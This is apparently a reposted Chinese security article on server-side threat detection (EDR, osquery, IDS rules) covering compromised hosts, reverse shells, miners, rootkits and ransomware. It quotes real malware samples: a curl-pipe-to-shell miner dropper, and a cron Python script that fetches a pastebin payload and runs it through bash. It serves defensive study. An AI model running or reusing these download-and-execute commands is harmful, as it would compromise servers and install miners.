掃一掃
關注微信公眾號

態勢感知——服務器安全策略探索
2019-02-20   4hou

0x00、業務需求

企業IT架構數字化轉型的大潮中,往往會面臨各種各樣的安全威脅,包括:系統和應用軟件漏洞利用攻擊,APT攻擊,數據泄露,云服務器濫用,DDoS攻擊等。同時為了應對速度越來越快的網絡犯罪攻擊,以及針對性攻擊的多態化。為我們安全人員提出了更高的要求。

在做應急響應安全事件過程的過程中,確認攻擊痕跡一般從以下幾個方面:

0x01、服務器安全告警

在態勢感知產品中,在服務器上部署EDR終端是一個很好的服務器安全量化的一個過程。因為我們在服務器上可以收集進程、端口、賬號、軟件以及文件目錄基礎的安全數據。通過這些基礎數據通過后臺大數據分析加工形成我們感知到威脅。

本篇主要從服務器端做檢測,服務器端檢測有以下優勢:

  • 單純的網絡層威脅檢測無法和終端數據聯動,形成的證據鏈可信度低。
  • 加密連接,通過SSL的bash反連等,無法通過網絡檢測,需要深度學習檢測,檢測成本過高。
  • threat hunting需求,可以更深入調查,包括獲取惡意程序。

那么我們先從入侵行為分析開始:

  • 失陷主機

檢測思路:需要收集服務器端基礎數據: 實時網絡連接數據,同時需要商業威脅情報數據源。

實時網絡連接數據,實驗環境搭建:通過kolide+osquery+ElasticSearch+kibana。

實現步驟:

1、從服務器端獲取基礎外聯網絡數據。

2、通過flink或者spark streaming做實時Top進程、Top外聯IP統計,分析所有服務器上傳的外聯孤島數據,也可以編輯規則重點監控下載應用程序,或者下載對端的應用如果是HFS服務。需要重點關注。當然這里可以玩的playbook很多,需要用戶自己挖掘。

3、從中獲取到應有程序路徑、對外連接IP信息,以及端口。通過IP地址查詢威脅情報,如果對端IP地址使用的C2、Tor、VPN、SS等地址視為失陷主機。態勢感知——服務器安全策略探索

  • 對外可疑連接

檢測思路:這里主要是增加內容特征,比如說:上傳設備基本信息、發送攻擊指令、獲取公網IP地址、黑客攻擊連接等。服務器端需要把惡意程序上傳云查殺或者云沙箱做深入檢測。

實驗環境:Malice(支持Yara+多殺毒引擎集成+virustotal)+ClamAV +ElasticSearch+kibana。

IDS檢測規則完善:

當然需要一個安全Team維護這個規則。

檢測流程:

1、通過IDS檢測到對外連接。

2、通過網絡通訊進程關聯到文件。

3、上傳文件到云查殺系統中檢測。如果發現病毒告警。

  • 對外DDoS

檢測思路:通過獲取實時進程快照,網絡對外連接快照,網絡層獲取其流量信息,同時也上傳對應的進程文件到云查殺和云沙箱檢測。在網絡層檢測通過IDS規則檢測到對外DDoS攻擊最多為:NTP反射攻擊、memcache反射攻擊。但是在服務器端檢測會發現更多攻擊方式,例如:CC攻擊、SIP協議攻擊、視頻協議攻擊、SYN Flood、ACK Flood等。當然需要客戶端抓包進一步確認。

檢測流程:

1、獲取進程快照,網絡對外連接快照,對外連接網絡流量(需要驅動支持)或者獲取總流量。

2、執行抓包程序,采集服務器端Pcap包,上傳Pcap包樣本到服務器端。

3、通過各種DDoS攻擊規則過濾,如果發現預定的攻擊類型。

  • 挖礦檢測

檢測思路:特征是CPU占用率過高。通過上傳進程快照,同時獲取類似top命令CPU占用率信息。可以確定挖礦進程。當然還有 /bin/sh -c /usr/bin/curl -sL https://xmr.tgywl.cn|sh 直接挖礦。

檢測流程:

1、獲取進程快照,CPU占用率信息。

2、多次CPU占率過高的進程聚合。

3、上傳文件到云查殺系統中檢測。如果發現病毒告警。

4、復查各個端口被入侵的痕跡,如果產生以下攻擊告警,需要大數據關聯分析(flink or spark streaming)。

  • 對外爆破

檢測思路:關聯網絡層檢測和服務器端檢測相關進程。

檢測流程:

1、獲取進程快照,對外網絡連接快照。

2、獲取網絡層面各種協議的暴力破解告警。

3、使用flink or spark streaming 做大數據關聯分析。

  • 蠕蟲病毒

檢測思路:如果存在對外掃描功能,通過大數據分析網絡連接,短時間內過多連接視為可疑。

檢測流程:

1、獲取進程快照,對外網絡連接快照。

2、獲取網絡層面對外可疑連接告警。

3、上傳文件到云查殺系統中檢測。進一步分析,發現病毒標記為蠕蟲病毒告警。

  • 反彈shell

檢測思路:sh或者bash運行打開遠程連接,視為反彈shell。

檢測流程:

1、獲取進程快照,對外網絡連接快照。

2、查詢語句。


  1. "behavioral_reverse_shell": { 
  2.       "query" : "SELECT DISTINCT(processes.pid), processes.parent, processes.name, processes.path, processes.cmdline, processes.cwd, processes.root, processes.uid, processes.gid, processes.start_time, process_open_sockets.remote_address, process_open_sockets.remote_port, (SELECT cmdline FROM processes AS parent_cmdline WHERE pid=processes.parent) AS parent_cmdline FROM processes JOIN process_open_sockets USING (pid) LEFT OUTER JOIN process_open_files ON processes.pid = process_open_files.pid WHERE (name='sh' OR name='bash') AND remote_address NOT IN ('0.0.0.0', '::', '') AND remote_address NOT LIKE '10.%' AND remote_address NOT LIKE '192.168.%';"
  3.       "interval" : 600, 
  4.       "description" : "Find shell processes that have open sockets" 
  5.     }, 
  • rootkit檢測

我們先看一個入侵案例,以下腳本是用戶放到定時任務中的經過base64加密的腳本,通過替換curl、wget實現進程網絡通訊隱藏的目的。


  1. import os 
  2. import os.path 
  3.  
  4. def GetDeps(): 
  5.  
  6.    if os.path.isfile('/usr/bin/url'): 
  7.         os.system("mv /usr/bin/url /usr/bin/curl"
  8.         os.system("chmod 777 /usr/bin/curl"
  9.         os.system("chmod +x /usr/bin/curl"
  10.  
  11.     if os.path.isfile('/usr/bin/get'): 
  12.         os.system("mv /usr/bin/get /usr/bin/wget"
  13.         os.system("chmod 777 /usr/bin/wget"
  14.         os.system("chmod +x /usr/bin/wget"
  15.  
  16.     if not os.path.isfile('/usr/bin/wget'): 
  17.         os.system("yum clean all"
  18.         os.system("yum -y install wget"
  19.         os.system("apt-get update"
  20.         os.system("apt-get -y install wget"
  21.  
  22.     if not os.path.isfile('/usr/bin/curl'): 
  23.         os.system("yum clean all"
  24.         os.system("yum -y install curl"
  25.         os.system("apt-get update"
  26.         os.system("apt-get -y install wget"
  27.  
  28. if os.getuid()==0: 
  29.     GetDeps() 
  30. os.system("(curl -fsSL https://pastebin.com/raw/JuBCmASZ||wget -q -O- https://pastebin.com/raw/JuBCmASZ)|bash%7Cbash)"

由于存在我們安裝的服務器以前中過rootkit程序的情況。

檢測流程

1、需要從遠程下載wget\curl\ps\ls\netstat\ss等網絡和文件檢測工具

2、與本地對應的文件做對比檢測找到diff。

3、如果存在Diff,證明存在rootkit的惡意行為,告警。

  • 勒索軟件

檢測思路:

1、上傳文件創建基礎數據信息、上傳進程快照信息。

2、統計平時文件創建數據,設置動態基礎數據基線。

3、如果單臺服務器創建量超出平時2倍以上,需要把對應的文件上傳到云查殺分析,如果發現勒索軟件病毒標簽告警。

0x03、總結

服務器安全檢測是一項非常繁瑣,并且特殊情況比較多的工作,需要這些檢測規則和手段自動化成威脅模型。同時,人工threat huning結果也要不斷加入,形成正向反饋,良性循環。

熱詞搜索:服務器 安全

上一篇:深入考察無服務器架構的安全威脅,SLS-1:事件注入
下一篇:最后一頁

分享到: 收藏
評論內容
云南快乐十分开奖结果爱彩乐